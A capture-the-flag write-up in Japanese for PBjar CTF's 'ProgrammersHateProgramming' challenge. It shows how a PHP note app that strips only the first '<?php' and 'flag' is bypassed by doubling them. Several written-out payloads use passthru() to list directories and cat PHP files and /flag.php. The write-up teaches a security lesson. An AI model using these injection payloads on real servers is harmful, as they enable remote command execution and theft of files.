[日本語] [English]

ProgrammersHateProgramming

WebページのURLが与えられた。

このWebページでは文字列を送信でき、送信するとその内容に基づき.phpで終わるURLのページが作られるようだった。

<?php echo("aaa"); を送信すると、ページには echo("aaa"); が表示された。

<?php <?php echo("aaaa"); を送信すると、ページには aaaa が表示され、PHPのコードを実行できそうだった。

<?php <?php passthru("ls"); passthru("ls /"); を送信すると、 カレントディレクトリにはランダムっぽい名前の項目に混ざって以下の項目があることがわかった。
なお、passthru() はコマンドを実行してその出力を出力する関数である。

また、ルートディレクトリにはflag.phpという項目があることがわかった。

<?php <?php passthru("cat /flag.php"); を送信した結果の表示は空だった。

<?php <?php passthru("cat *.php"); を送信すると、結果の中に以下の部分があった。

if(isset($_POST["notewrite"]))
{
    $newnote = $_POST["notewrite"];
    $notetoadd = str_replace_first("<?php", "", $newnote);
    $notetoadd = str_replace_first("?>", "", $notetoadd);
    $notetoadd = str_replace_first("<script>", "", $notetoadd);
    $notetoadd = str_replace_first("</script>", "", $notetoadd);
    $notetoadd = str_replace_first("flag", "", $notetoadd);

    $filename = generateRandomString();
    array_push($_SESSION["notes"], "$filename.php");
    file_put_contents("$filename.php", $notetoadd);
    header("location:index.php");
}

この部分から、<?php を2個重ねたらPHPのコードを実行できたのと同様に、 flag も2個重ねると良さそうであることが読み取れた。
これを踏まえ、<?php <?php "flag"; passthru("cat /flag.php"); を送信すると、flagが得られた。

flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}

writeup by MikeCAT

PBjar CTF